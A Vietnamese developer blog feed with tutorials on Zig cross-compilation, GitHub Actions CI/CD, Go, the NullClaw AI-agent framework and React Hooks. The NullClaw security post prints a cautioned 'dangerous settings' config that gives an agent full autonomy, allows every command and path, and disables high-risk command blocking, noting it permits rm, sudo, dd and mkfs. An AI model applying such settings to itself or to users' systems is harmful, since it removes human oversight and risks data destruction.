# Build cho macOS, Linux, Windows từ một máy
zig build-exe main.zig -target x86_64-linux
zig build-exe main.zig -target aarch64-linux
zig build-exe main.zig -target x86_64-windows

# Dùng zig cc thay gcc (compile C/C++)
zig cc -o hello hello.c -target aarch64-linux

Zig bundles LLVM và các target triple — cross-compile không cần cài toolchain riêng.

Khi Nào Dùng Zig?

Phù hợp:

Systems programming (OS, driver, embedded)
Tools và CLI (binary nhỏ, start nhanh)
Game engine (cần control memory)
Performance-critical path (cần predictable latency)
C/C++ project muốn modernization dần dần (Zig import .h trực tiếp)

Không phù hợp (hiện tại):

Web app (dùng Go, Rust, TypeScript)
Data science (Python)
Ecosystem còn nhỏ (ít thư viện)
Production GUI (chưa có framework ổn định)

Kết Luận

Zig là ngôn ngữ dành cho người muốn viết systems code mà không muốn học borrow checker của Rust hay vật lộn với macro của C.

Comptime là killer feature: generic type-safe, không cần code generator, chạy ngay trong compiler. Allocator pattern minh bạch: bạn biết ai allocate, ai free, dùng allocator nào. Build system tích hợp: không Make/CMake, cross-compile một lệnh.

Zig 0.16+ đã sẵn sàng cho production. Bun, TigerBeetle, Ghostty, NullClaw đang chạy trên nó hàng ngày.

Tài liệu tham khảo

CI/CD Pipeline — Tự Động Hóa Từ Commit Đến Production

Tue, 30 Jun 2026 00:00:00 GMT

CI/CD (Continuous Integration / Continuous Deployment) là xương sống của quy trình phát triển hiện đại. Mỗi lần push code — tự động kiểm tra, build, và deploy.

CI vs CD

| CI (Continuous Integration) | CD (Continuous Deployment/Delivery) | |---|---| | Lint, test, build khi push | Deploy lên staging/production | | Đảm bảo code mới không hỏng | Đảm bảo luôn sẵn sàng release | | Chạy trên mỗi PR | Chạy khi merge vào main |

GitHub Actions — Cấu Trúc Cơ Bản

name: CI/CD Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm run lint
      - run: npm run test
      - run: npm run build

Pipeline Hoàn Chỉnh

1. Lint & Type Check

lint:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: 20
        cache: 'npm'
    - run: npm ci
    - run: npm run lint
    - run: npm run typecheck

2. Unit Test + Coverage

test:
  needs: lint
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: 20
    - run: npm ci
    - run: npm run test:cov
    - uses: actions/upload-artifact@v4
      with:
        name: coverage
        path: coverage/

3. Build & Push Docker Image

build:
  needs: test
  if: github.ref == 'refs/heads/main'
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - name: Build Docker image
      run: docker build -t myapp:${{ github.sha }} .
    - name: Push to registry
      run: |
        docker tag myapp:${{ github.sha }} registry.example.com/myapp:${{ github.sha }}
        docker push registry.example.com/myapp:${{ github.sha }}

4. Deploy

deploy:
  needs: build
  runs-on: ubuntu-latest
  environment: production
  steps:
    - name: Deploy to server
      uses: appleboy/ssh-action@v1
      with:
        host: ${{ secrets.SERVER_HOST }}
        username: ${{ secrets.SERVER_USER }}
        key: ${{ secrets.SSH_KEY }}
        script: |
          docker pull registry.example.com/myapp:${{ github.sha }}
          docker stop myapp || true
          docker rm myapp || true
          docker run -d --name myapp -p 3000:3000 \
            -e DATABASE_URL=${{ secrets.DATABASE_URL }} \
            registry.example.com/myapp:${{ github.sha }}

Matrix Build — Test Nhiều Phiên Bản

test:
  strategy:
    matrix:
      node-version: [18, 20, 22]
      os: [ubuntu-latest, windows-latest]

  runs-on: ${{ matrix.os }}
  steps:
    - uses: actions/checkout@v4
    - uses: actions/setup-node@v4
      with:
        node-version: ${{ matrix.node-version }}
    - run: npm ci
    - run: npm test

Caching — Tăng Tốc Pipeline

- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-node-

Secrets — Không Hardcode

Trong GitHub:

Settings > Secrets and variables > Actions

Thêm: SERVER_HOST, DB_PASSWORD, API_KEY, SSH_KEY...

Dùng trong workflow:

- run: echo "${{ secrets.SSH_KEY }}" > ssh_key

Docker Compose Cho Test Integration

test-integration:
  runs-on: ubuntu-latest
  services:
    postgres:
      image: postgres:16-alpine
      env:
        POSTGRES_PASSWORD: testpass
      options: >-
        --health-cmd pg_isready
        --health-interval 10s
    redis:
      image: redis:7-alpine

  steps:
    - uses: actions/checkout@v4
    - run: npm ci
    - run: npm run test:integration
      env:
        DATABASE_URL: postgres://postgres:testpass@localhost:5432/postgres
        REDIS_URL: redis://localhost:6379

Auto Deploy — Vercel / Cloudflare Pages

deploy:
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v4
    - run: npm ci && npm run build
    - name: Deploy to Cloudflare Pages
      uses: cloudflare/wrangler-action@v3
      with:
        apiToken: ${{ secrets.CF_API_TOKEN }}
        command: pages deploy dist/

GitOps — Deploy Bằng Git

Không ssh vào server — push config vào git repo, tool tự đồng bộ:

# ArgoCD + Kubernetes
# Push image tag mới vào Git repo config → ArgoCD tự deploy

Badges — Cho README

[![CI](https://github.com/user/repo/actions/workflows/ci.yml/badge.svg)](https://github.com/user/repo/actions)

Checklist Pipeline

[ ] Lint & type check
[ ] Unit test + coverage
[ ] Integration test (DB, cache)
[ ] Build Docker image
[ ] Push registry
[ ] Deploy staging
[ ] Smoke test
[ ] Deploy production
[ ] Rollback plan

Kết Luận

CI/CD không phải công cụ — nó là văn hóa. Code push lên là code đã được kiểm tra, đóng gói, sẵn sàng deploy. Mất 1 ngày setup, tiết kiệm hàng trăm giờ debug "tại sao chạy được ở máy tôi?".

Tài liệu tham khảo

Go Lang — Đơn Giản, Nhanh, Hiệu Quả Cho Backend

Mon, 29 Jun 2026 00:00:00 GMT

Go (Golang) là ngôn ngữ do Google phát triển, được thiết kế cho hệ thống phân tán và microservices. Nó đơn giản, nhanh, và cực kỳ hiệu quả cho backend.

Tại Sao Go?

Đơn giản — Không class, không kế thừa, không generics (trước 1.18)
Nhanh — Biên dịch ra binary, gần tốc độ C
Concurrency built-in — Goroutines nhẹ hơn thread rất nhiều
Deploy dễ — Build ra 1 file binary, không cần runtime

Cú Pháp Cơ Bản

package main

import "fmt"

func main() {
    // Variable
    name := "Alice"         // type inference
    var age int = 30        // explicit type
    const pi = 3.14

    // If
    if age > 18 {
        fmt.Println("Adult")
    }

    // For — Go chỉ có for, không while
    for i := 0; i < 5; i++ {
        fmt.Println(i)
    }

    // For range
    nums := []int{1, 2, 3}
    for index, value := range nums {
        fmt.Println(index, value)
    }

    // Switch — không cần break
    switch age {
    case 20:
        fmt.Println("Twenty")
    default:
        fmt.Println("Other")
    }
}

Struct & Interface

// Struct — giống class nhưng không có kế thừa
type User struct {
    ID    int
    Name  string
    Email string
}

// Method
func (u User) Greet() string {
    return "Hello, " + u.Name
}

// Pointer receiver — có thể modify
func (u *User) UpdateEmail(email string) {
    u.Email = email
}

// Interface — implicit implementation
type Greeter interface {
    Greet() string
}

// User tự động implement Greeter vì có method Greet()
var g Greeter = User{Name: "Bob"}
fmt.Println(g.Greet())

Error Handling — Không Exception

func Divide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, fmt.Errorf("cannot divide by zero")
    }
    return a / b, nil
}

func main() {
    result, err := Divide(10, 0)
    if err != nil {
        log.Fatal(err)
    }
    fmt.Println(result)
}

Goroutines & Channels — Concurrency Mạnh Mẽ

func main() {
    // Goroutine — chạy hàm trong một goroutine mới
    go func() {
        fmt.Println("Running in goroutine")
    }()

    // Channel — giao tiếp giữa các goroutine
    ch := make(chan string)

    go func() {
        ch <- "Hello from goroutine"
    }()

    msg := <-ch
    fmt.Println(msg)

    time.Sleep(time.Second)
}

Ví dụ Thực Tế — Fetch Nhiều URL

func fetch(url string, ch chan<- string) {
    resp, err := http.Get(url)
    if err != nil {
        ch <- fmt.Sprintf("%s: %v", url, err)
        return
    }
    ch <- fmt.Sprintf("%s: %d", url, resp.StatusCode)
}

func main() {
    urls := []string{
        "https://google.com",
        "https://github.com",
        "https://example.com",
    }

    ch := make(chan string)

    for _, url := range urls {
        go fetch(url, ch)
    }

    for range urls {
        fmt.Println(<-ch)
    }
}

Standard Library — Mạnh, Không Cần Framework

// HTTP Server
package main

import (
    "encoding/json"
    "log"
    "net/http"
)

type User struct {
    ID   int    `json:"id"`
    Name string `json:"name"`
}

func main() {
    http.HandleFunc("/api/users", func(w http.ResponseWriter, r *http.Request) {
        users := []User{{1, "Alice"}, {2, "Bob"}}
        w.Header().Set("Content-Type", "application/json")
        json.NewEncoder(w).Encode(users)
    })

    log.Println("Server starting on :8080")
    log.Fatal(http.ListenAndServe(":8080", nil))
}

Go Module

# Khởi tạo module
go mod init myapp

# Thêm dependency
go get github.com/gorilla/mux

# Download dependencies
go mod download

# Build
go build -o myapp .

# Chạy
./myapp

Go vs Các Ngôn Ngữ Khác

| | Go | Node.js | Python | |---|---|---|---| | Performance | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐ | | Concurrency | ⭐⭐⭐⭐⭐ | ⭐⭐⭐ | ⭐⭐ | | Learning curve | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | | Deploy | 1 binary | Need Node runtime | Need Python + packages |

Kết Luận

Go là lựa chọn tuyệt vời cho:

REST API / Microservices
CLI tools
Network services (proxy, load balancer)
DevOps tooling (Docker, Kubernetes, Terraform viết bằng Go)

Nếu bạn cần performance, concurrency, và deploy đơn giản — Go là câu trả lời.

Tài liệu tham khảo

NullClaw: Kiến Trúc Vtable Và Hệ Thống Plugin Linh Hoạt

Sun, 28 Jun 2026 00:00:00 GMT

Điểm khác biệt lớn nhất của NullClaw so với các framework AI agent khác không chỉ nằm ở kích thước binary, mà còn ở kiến trúc vtable-driven — nơi mọi subsystem đều là một interface có thể thay thế.

Vtable Là Gì?

Trong Zig, vtable là một bảng con trỏ hàm — tương đương interface trong OOP, nhưng không có runtime overhead, không có GC, và hoàn toàn tĩnh.

ptr: *anyopaque + vtable
     ┌──────────┐
     │ init()   │
     │ deinit() │
     │ query()  │
     │ send()   │
     └──────────┘

13 Subsystem, 13 Interface

| Subsystem | Interface | Mặc định | Extension | |---|---|---|---| | Provider | AI Model | 50+ provider | custom:https://api.cty.com | | Channel | Giao tiếp | Telegram, Discord, Signal, Nostr... | API bất kỳ | | Memory | Lưu trữ | SQLite hybrid search | ClickHouse, Redis, PostgreSQL | | Tool | Công cụ | shell, file, web, git, GPIO... | Bất kỳ capability | | Observer | Observability | Log, File, Multi | Prometheus, OTel | | RuntimeAdapter | Runtime | Native, Docker, WASM | Bất kỳ sandbox | | Sandbox | Bảo mật | Landlock, Firejail, Docker | Tự động detect | | Tunnel | Kết nối | Cloudflare, Tailscale, ngrok | Custom tunnel | | Peripheral | Hardware | Serial, Arduino, RPi GPIO, STM32 | Bất kỳ thiết bị | | IdentityConfig | Identity | OpenClaw, AIEOS JSON | Format khác | | EmbeddingProvider | Embedding | OpenAI, custom | Noop | | Skill | Kiến thức | TOML/YAML manifests | Community packs | | Scheduler | Cron | Cron expressions | JSON persistence |

Memory Stack Đa Tầng

Điểm đặc biệt là hệ thống memory của NullClaw hoàn toàn tự xây dựng, không dependency ngoài:

Vector Search: Embedding → BLOB in SQLite → Cosine similarity
Keyword Search: FTS5 → BM25 scoring
Hybrid Merge: Weighted vector + keyword
Embeddings: EmbeddingProvider vtable (OpenAI/custom/noop)
Hygiene: Auto archive + purge
Snapshots: Export/import full state

Cấu hình hybrid search:

{
  "memory": {
    "backend": "sqlite",
    "vector_weight": 0.7,
    "keyword_weight": 0.3,
    "hygiene_enabled": true
  }
}

Ví Dụ: Thêm Provider Mới

Mở rộng NullClaw không cần sửa core — chỉ cần thêm implementation:

// src/providers/my_provider.zig
const Provider = @import("../root.zig").Provider;

pub const MyProvider = struct {
    pub fn init(config: *Config) !void { ... }
    pub fn query(self: *Self, req: Request) !Response { ... }
    pub fn deinit(self: *Self) void { ... }
};

Đăng ký vào factory, config chạy ngay:

{
  "models": {
    "providers": {
      "my-provider": { "api_key": "...", "base_url": "https://api.myprov.com" }
    }
  }
}

Tại Sao Lại Là Vtable?

Zero-cost abstraction — không runtime dispatch overhead ngoài con trỏ hàm
Testable — mock interface dễ dàng, 5,300+ tests
Swap without rebuild — đổi backend chỉ bằng config JSON
Isolation — mỗi subsystem độc lập, bug không lan

Kết Luận

Kiến trúc vtable của NullClaw là lý do nó có thể gói 50+ provider, 19 channel, 35+ tool vào một binary 678 KB mà vẫn mở rộng được. Đây là mẫu thiết kế xuất sắc cho các hệ thống cần vừa nhẹ vừa linh hoạt.

Tài liệu tham khảo

NullClaw Cho IoT và Edge Computing — AI Trên Phần Cứng $5

Sun, 28 Jun 2026 00:00:00 GMT

Hầu hết các AI agent framework hiện nay đều yêu cầu server mạnh — ít nhất 1 GB RAM, multi-core CPU, và hàng trăm MB disk. NullClaw thay đổi cuộc chơi: nó chạy trên bất kỳ bo mạch $5 nào có CPU và libc.

Thông Số Kỹ Thuật Trên Edge

Binary:       678 KB (ReleaseSmall)
Peak RSS:     ~1 MB
Startup:      <2 ms (Apple Silicon)
              <8 ms (0.8 GHz edge core)
Nền tảng:     ARM, x86, RISC-V
Dependency:   Chỉ cần libc

Kịch Bản IoT Điển Hình

1. Raspberry Pi Zero ($5)

# Cross-compile từ máy phát triển
zig build -Dtarget=arm-linux-musleabi -Dcpu=arm1176jzf_s -Doptimize=ReleaseSmall

# Copy binary qua Pi Zero
scp zig-out/bin/nullclaw pi@192.168.1.100:~/
ssh pi@192.168.1.100 ./nullclaw --help

2. ESP32 Với Peripheral GPIO

{
  "tools": {
    "enabled": ["shell", "hardware_info", "hardware_memory", "i2c", "spi"]
  },
  "peripherals": {
    "arduino": { "port": "/dev/ttyACM0", "baud": 115200 }
  }
}

NullClaw có thể đọc cảm biến qua I2C/SPI, điều khiển GPIO, và giao tiếp với vi điều khiển qua serial — tất cả từ cùng một agent.

3. Edge Gateway Có Tunnel

Kết hợp Tailscale tunnel cho phép agent trên SBC kết nối an toàn ra internet:

{
  "tunnel": { "provider": "tailscale" },
  "gateway": { "port": 3000, "require_pairing": true }
}

Hiệu Năng So Với Framework Khác

Trên edge hardware 0.8 GHz:

| Metric | NullClaw | NanoBot | PicoClaw | |---|---|---|---| | RAM | ~1 MB | > 100 MB | < 10 MB | | Startup | < 8 ms | > 30 s | < 1 s | | Binary | 678 KB | N/A | ~8 MB | | Giá HW tối thiểu | $5 | ~$50 | $10 |

Hardware Peripheral Được Hỗ Trợ

Serial — giao tiếp với mọi thiết bị UART
Arduino — điều khiển board Arduino qua Firmata
Raspberry Pi GPIO — đọc/ghi chân GPIO trực tiếp
STM32/Nucleo — lập trình và giao tiếp STM32

// GPIO read trong Zig — không runtime, không overhead
const pin = try peripheral.gpio.open(17);
const value = try pin.read();
try pin.write(1);

Docker Cho Edge

Thậm chí có thể chạy NullClaw trong container trên edge:

docker run --rm -it \
  -v nullclaw-data:/nullclaw-data \
  ghcr.io/nullclaw/nullclaw:latest \
  onboard --interactive

Image chỉ ~5 MB với Alpine, phù hợp cho gateway edge.

Ứng Dụng Thực Tế

Trạm cảm biến thông minh — đọc sensor, phân tích cục bộ, gửi alert qua Telegram
Home automation — điều khiển thiết bị qua giọng nói + LLM
Industrial IoT — giám sát máy móc, phát hiện bất thường qua AI
Mesh network — IRC + Nostr + Matrix cho agent trên nhiều node
Digital signage — AI assistant trên màn hình thông minh

Ví Dụ: Smart Sensor Station

# Trên Raspberry Pi Zero
nullclaw onboard --provider ollama --model llama-3.2-1b

# Agent tự động đọc sensor mỗi 5 phút
# → Phân tích cục bộ với LLM siêu nhẹ
# → Cảnh báo qua Telegram nếu phát hiện bất thường

Hạn Chế

RAM ~1 MB đủ cho agent đơn giản, nhưng không chạy được LLM lớn local
Phải dùng API provider bên ngoài hoặc model siêu nhẹ (Gemma 2B, Llama 3.2 1B) qua Ollama
Không có UI mặc định — cần NullHub hoặc tự xây dựng

Kết Luận

NullClaw mở ra khả năng chạy AI agent trên những thiết bị mà trước đây chỉ đủ sức chạy firmware đơn giản. $5 là tất cả những gì bạn cần để bắt đầu. Đây là bước đột phá cho kỷ nguyên edge AI — nơi trí tuệ nhân tạo không còn tập trung ở cloud mà phân tán ra mọi thiết bị.

Tài liệu tham khảo

Hướng Dẫn Cài Đặt Và Sử Dụng NullClaw Từ A-Z

Sun, 28 Jun 2026 00:00:00 GMT

Hướng dẫn này sẽ đưa bạn từ chưa biết gì đến chạy được NullClaw đầy đủ — từ cài đặt, cấu hình, đến vận hành.

1. Cài Đặt

Option A: Homebrew (Khuyên Dùng)

brew install nullclaw
nullclaw --help

Option B: Docker

docker run --rm -it \
  -v nullclaw-data:/nullclaw-data \
  ghcr.io/nullclaw/nullclaw:latest status

Hoặc dùng Docker Compose có sẵn trong repo:

git clone https://github.com/nullclaw/nullclaw.git
cd nullclaw
make build
make config
make up

Option C: Build Từ Source

Yêu cầu Zig 0.16.0 chính xác:

git clone https://github.com/nullclaw/nullclaw.git
cd nullclaw
zig build -Doptimize=ReleaseSmall
zig build test --summary all
# 5,300+ tests passed

Thêm vào PATH:

zig build -Doptimize=ReleaseSmall -p "$HOME/.local"
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

2. Onboarding — Thiết Lập Lần Đầu

Quick Setup

nullclaw onboard --api-key sk-or-... --provider openrouter

Interactive Wizard (Khuyên Dùng)

nullclaw onboard --interactive

Wizard sẽ hướng dẫn bạn qua từng bước:

Chọn AI provider và nhập API key
Cấu hình model mặc định
Thiết lập channels (Telegram, Discord, ...)
Cấu hình memory backend
Thiết lập mức độ tự động (autonomy level)
Cấu hình security (sandbox, pairing)
(Optional) Thiết lập Nostr

3. Cấu Hình provider

File config nằm ở ~/.nullclaw/config.json:

{
  "models": {
    "providers": {
      "openrouter": { "api_key": "sk-or-..." },
      "anthropic": { "api_key": "sk-ant-...", "base_url": "https://api.anthropic.com" },
      "groq": { "api_key": "gsk_..." },
      "ollama": { "api_key": "ollama", "base_url": "http://localhost:11434" },
      "deepseek": { "api_key": "sk-..." }
    }
  },
  "agents": {
    "defaults": {
      "model": { "primary": "openrouter/anthropic/claude-sonnet-4" }
    }
  }
}

Hỗ trợ 50+ provider — từ cloud (OpenRouter, Anthropic, OpenAI) đến local (Ollama, custom endpoint).

4. Kết Nối Channels

{
  "channels": {
    "telegram": {
      "accounts": {
        "main": {
          "bot_token": "123456:ABC-DEF...",
          "allow_from": ["YOUR_USER_ID"],
          "reply_in_private": true
        }
      }
    }
  }
}

Discord

{
  "channels": {
    "discord": {
      "accounts": {
        "main": {
          "token": "disc-token",
          "guild_id": "12345",
          "allow_from": ["user1"]
        }
      }
    }
  }
}

Nostr (Phi Tập Trung)

{
  "channels": {
    "nostr": {
      "private_key": "enc2:...",
      "owner_pubkey": "hex-pubkey-cua-ban",
      "relays": ["wss://relay.damus.io", "wss://nos.lol"],
      "dm_allowed_pubkeys": ["*"]
    }
  }
}

5. Memory — Bộ Nhớ Cho Agent

NullClaw hỗ trợ hybrid search (vector + keyword):

{
  "memory": {
    "backend": "sqlite",
    "auto_save": true,
    "embedding_provider": "openai",
    "vector_weight": 0.7,
    "keyword_weight": 0.3
  }
}

Các backend có sẵn: SQLite (mặc định), PostgreSQL, Redis, ClickHouse, LanceDB, Markdown, v.v.

6. Security — Bảo Mật

Cấu hình bảo mật khuyên dùng:

{
  "gateway": {
    "host": "127.0.0.1",
    "require_pairing": true,
    "allow_public_bind": false
  },
  "autonomy": {
    "level": "supervised",
    "workspace_only": true,
    "max_actions_per_hour": 20
  },
  "security": {
    "sandbox": { "backend": "auto" },
    "audit": { "enabled": true, "retention_days": 90 }
  }
}

7. Chạy Và Sử Dụng

CLI

# Chat một lần
nullclaw agent -m "Xin chào!"

# Interactive mode
nullclaw agent

# Check status
nullclaw status
nullclaw doctor

Gateway Mode

nullclaw gateway
# Mặc định: http://127.0.0.1:3000

curl http://127.0.0.1:3000/health

Service Mode

nullclaw service install
nullclaw service start
nullclaw service status

Quản Lý Channels

nullclaw channel status
nullclaw channel start telegram
nullclaw channel start discord

8. Telegram Forum Topics — Multi-Agent

Bind agent khác nhau cho từng topic trong group:

{
  "agents": {
    "list": [
      { "id": "coder", "model": "ollama/qwen2.5-coder:14b" },
      { "id": "writer", "model": "openrouter/anthropic/claude-sonnet-4" }
    ]
  },
  "bindings": [
    { "agent_id": "coder", "match": { "channel": "telegram", "peer": { "id": "-100123:thread:42" } } },
    { "agent_id": "writer", "match": { "channel": "telegram", "peer": { "id": "-100123" } } }
  ]
}

Hoặc dùng lệnh /bind trong Telegram để gán nhanh.

9. A2A — Kết Nối Agent Với Agent

NullClaw hỗ trợ Google A2A Protocol v0.3.0:

{
  "a2a": { "enabled": true, "name": "nullclaw", "description": "AI assistant", "url": "https://example.com" }
}

# Lấy token
TOKEN=$(curl -s -X POST -H "X-Pairing-Code: $CODE" http://localhost:3000/pair | jq -r .token)

# Gọi A2A
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"message/send","params":{"message":{"parts":[{"text":"Hello"}]}}}' \
  http://localhost:3000/a2a

10. Troubleshooting

# Kiểm tra lỗi config
nullclaw doctor

# Xem status chi tiết
nullclaw status --json

# Restart service sau khi thay đổi config
nullclaw service stop && nullclaw service start

# Nếu model gọi thất bại
nullclaw onboard --interactive

Kết Luận

NullClaw là một trong những AI infrastructure nhẹ nhất, nhanh nhất, và linh hoạt nhất hiện nay. Chỉ với 678 KB, bạn có toàn bộ sức mạnh của một AI agent hiện đại — từ cloud provider đến local LLM, từ Telegram đến Nostr, từ SQLite đến PostgreSQL.

Tài nguyên:

Repo: github.com/nullclaw/nullclaw

Docs: nullclaw.github.io

Discord: discord.gg/Bfmdua22Ud

Tài liệu tham khảo

Giới Thiệu NullClaw — AI Infrastructure Nhỏ Nhất Thế Giới

Sun, 28 Jun 2026 00:00:00 GMT

Trong thế giới AI agent đầy rẫy những framework nặng nề viết bằng Python, TypeScript, hay Rust, NullClaw nổi lên như một hiện tượng — một AI assistant infrastructure viết hoàn toàn bằng Zig, với binary chỉ 678 KB, tiêu tốn ~1 MB RAM, và khởi động trong <2 ms.

NullClaw Là Gì?

NullClaw là một hệ thống AI agent hoàn chỉnh, mã nguồn mở (MIT), có khả năng:

Kết nối 50+ provider AI (OpenRouter, Anthropic, OpenAI, Gemini, Ollama, Groq, DeepSeek, v.v.)
Tích hợp 19 kênh giao tiếp (Telegram, Discord, Signal, Slack, Nostr, WhatsApp, IRC, Email, CLI...)
Cung cấp 35+ công cụ (shell, file, web search, browser, git, memory, hardware GPIO...)
Hỗ trợ 10 engine memory khác nhau (SQLite, PostgreSQL, Redis, ClickHouse, LanceDB...)
Chạy trên mọi kiến trúc CPU: ARM, x86, RISC-V

So Sánh Hiệu Năng

| | NullClaw | OpenClaw | NanoBot | ZeroClaw | |---|---|---|---|---| | Ngôn ngữ | Zig | TypeScript | Python | Rust | | RAM | ~1 MB | > 1 GB | > 100 MB | < 5 MB | | Startup | < 8 ms | > 500 s | > 30 s | < 10 ms | | Binary | 678 KB | ~28 MB | N/A | ~8.8 MB | | Tests | 5,300+ | — | — | 1,017 | | Giá phần cứng | $5 | $599 | ~$50 | $10 |

Tại Sao Lại Chọn Zig?

Zig là lựa chọn chiến lược:

Không runtime overhead — không GC, không allocator mặc định
Compile tĩnh — single binary, zero dependency (chỉ cần libc)
Cross-compilation mượt mà — build cho ARM, x86, RISC-V từ một máy
Kiểm soát bộ nhớ thủ công — cho phép đạt ~1 MB peak RSS

Tính Năng Nổi Bật

Kiến Trúc Vtable

Mọi subsystem trong NullClaw đều là interface dạng vtable — bạn có thể swap implementation mà không cần sửa code:

{
  "memory": { "backend": "sqlite" },
  "runtime": { "kind": "native" },
  "tunnel": { "provider": "cloudflare" }
}

Bảo Mật Đa Lớp

Gateway bind 127.0.0.1 mặc định, từ chối public bind nếu không có tunnel
Pairing code 6 số một lần, đổi lấy bearer token
Sandbox tự động chọn Landlock / Firejail / Bubblewrap / Docker
API key mã hóa ChaCha20-Poly1305

Hệ Sinh Thái Null

NullClaw không đứng một mình — nó là trung tâm của hệ sinh thái Null:

NullHub — UI để cấu hình và quản lý
NullBoiler — orchestration multi-agent
NullWatch — observability và monitoring
NullTickets — task tracking

Ai Nên Dùng NullClaw?

Embedded/IoT developers — cần AI trên vi điều khiển và SBC giá rẻ
DevOps/SRE — muốn AI agent tự động hóa server, không tốn resource
Privacy-conscious users — muốn kiểm soát hoàn toàn dữ liệu, chạy local
AI researchers — cần framework linh hoạt để thử nghiệm provider và memory backend

# Dùng thử ngay
brew install nullclaw
nullclaw onboard --interactive
nullclaw agent -m "Xin chào, NullClaw!"

Kết Luận

NullClaw chứng minh rằng một AI agent infrastructure có thể vừa nhẹ, vừa nhanh, vừa đầy đủ tính năng — không cần đánh đổi. Với 678 KB, bạn có thể chạy một AI assistant hoàn chỉnh trên bất kỳ phần cứng nào. Đây là bước tiến quan trọng cho kỷ nguyên edge AI và autonomous agent.

Link: github.com/nullclaw/nullclaw

Tài liệu tham khảo

Bảo Mật Với NullClaw — Secure By Design

Sun, 28 Jun 2026 00:00:00 GMT

Bảo mật là ưu tiên hàng đầu khi chạy AI agent — một agent có quyền truy cập shell, file system, và network là một rủi ro tiềm ẩn. NullClaw giải quyết điều này bằng thiết kế secure by design ở mọi lớp.

8 Lớp Bảo Vệ

| # | Biện pháp | Trạng thái | Cách hoạt động | |---|---|---|---| | 1 | Gateway không public | Mặc định | Bind 127.0.0.1, từ chối public bind không có tunnel | | 2 | Pairing code | Mặc định | Mã 6 số một lần, POST /pair → bearer token | | 3 | Filesystem scoped | Mặc định | workspace_only = true, chống null byte injection | | 4 | Tunnel bắt buộc | Khi public | Từ chối bind công khai nếu không có tunnel | | 5 | Sandbox isolation | Auto | Landlock → Firejail → Bubblewrap → Docker | | 6 | Mã hóa secret | Mặc định | ChaCha20-Poly1305, key file local | | 7 | Resource limits | Configurable | Memory, CPU, disk, subprocess | | 8 | Audit logging | Configurable | Event trail có chữ ký |

Cấu Hình Bảo Mật Khuyến Nghị

{
  "gateway": {
    "host": "127.0.0.1",
    "port": 3000,
    "require_pairing": true,
    "allow_public_bind": false
  },
  "autonomy": {
    "level": "supervised",
    "workspace_only": true,
    "max_actions_per_hour": 20
  },
  "security": {
    "sandbox": { "backend": "auto" },
    "audit": { "enabled": true, "retention_days": 90 }
  }
}

Sandbox Tự Động

NullClaw tự động chọn sandbox backend phù hợp nhất:

# Landlock (Linux 5.13+) — nhẹ nhất, không cần cài thêm
# Firejail — khi có sẵn
# Bubblewrap — khi có sẵn
# Docker — fallback

Cơ Chế Pairing

Pairing là barrier đầu tiên trước khi AI agent có thể nhận request:

# Gateway in ra pairing code khi khởi động
[nullclaw] Gateway started on 127.0.0.1:3000
[nullclaw] Pairing code: 482916

# Đổi code lấy token
curl -X POST -H "X-Pairing-Code: 482916" http://127.0.0.1:3000/pair
# → { "token": "bearer-eyJ..." }

Allowlist Channel

Mỗi channel có cơ chế allowlist riêng:

{
  "channels": {
    "telegram": {
      "accounts": {
        "main": {
          "bot_token": "123:ABC",
          "allow_from": ["user1"],
          "reply_in_private": true
        }
      }
    }
  }
}

allow_from rỗng = từ chối tất cả
allow_from: ["*"] = cho phép tất cả (opt-in, rủi ro cao)
Mặc định = chỉ cho phép user được liệt kê

Audit Logging

Mọi hoạt động đều được ghi lại:

{
  "security": {
    "audit": {
      "enabled": true,
      "retention_days": 90
    }
  }
}

Audit trail bao gồm: tool calls, file access, network requests, config changes — có chữ ký để chống giả mạo.

Redaction PII

Khi bật PII redaction, NullClaw tự động thay thế dữ liệu nhạy cảm:

Input:  "Email tôi là user@gmail.com, SĐT: 0905123456"
Output: "Email tôi là [EMAIL_1], SĐT: [PHONE_1]"

Các danh mục được redact: email, phone, credit card, passport, token/secret patterns.

Workspace Secret Audit

Quét workspace để phát hiện secret bị rò rỉ:

nullclaw workspace audit --fail-on high

Phát hiện: API keys, private keys, high-entropy tokens, credentials trong URL.

Cảnh Báo: Các Setting Nguy Hiểm

{
  "autonomy": { "level": "full" },
  "allowed_commands": ["*"],
  "allowed_paths": ["*"],
  "block_high_risk_commands": false
}

Các setting này cho phép agent thực thi lệnh nguy hiểm (rm, sudo, dd, mkfs). Chỉ dùng trong môi trường kiểm soát.

Kết Luận

NullClaw không xem bảo mật là tính năng — nó là kiến trúc. Từ gateway binding đến sandbox isolation, từ pairing đến encrypted secrets, mọi quyết định thiết kế đều đặt an toàn lên đầu. Đây là một trong những AI infrastructure an toàn nhất hiện có.

Tài liệu tham khảo

React Hooks — Từ useState Đến Custom Hooks

Sun, 28 Jun 2026 00:00:00 GMT

Hooks ra đời năm 2018 thay đổi cách viết React hoàn toàn. Không còn class, không còn this. Function components + hooks là chuẩn mực mới.

useState — State Cơ Bản

import { useState } from 'react';

function Counter() {
  const [count, setCount] = useState(0);

  return (
    <div>
      <p>Count: {count}</p>
      <button onClick={() => setCount(c => c + 1)}>+</button>
    </div>
  );
}

Luôn dùng functional update (setCount(c => c + 1)) khi state mới phụ thuộc state cũ.

useEffect — Side Effects

useEffect(() => {
  // Chạy sau khi render
  fetch('/api/data').then(setData);

  // Cleanup — chạy khi component unmount hoặc dependency thay đổi
  return () => {
    abortController.abort();
  };
}, []); // [] = chỉ chạy 1 lần (mount)

Dependency Array

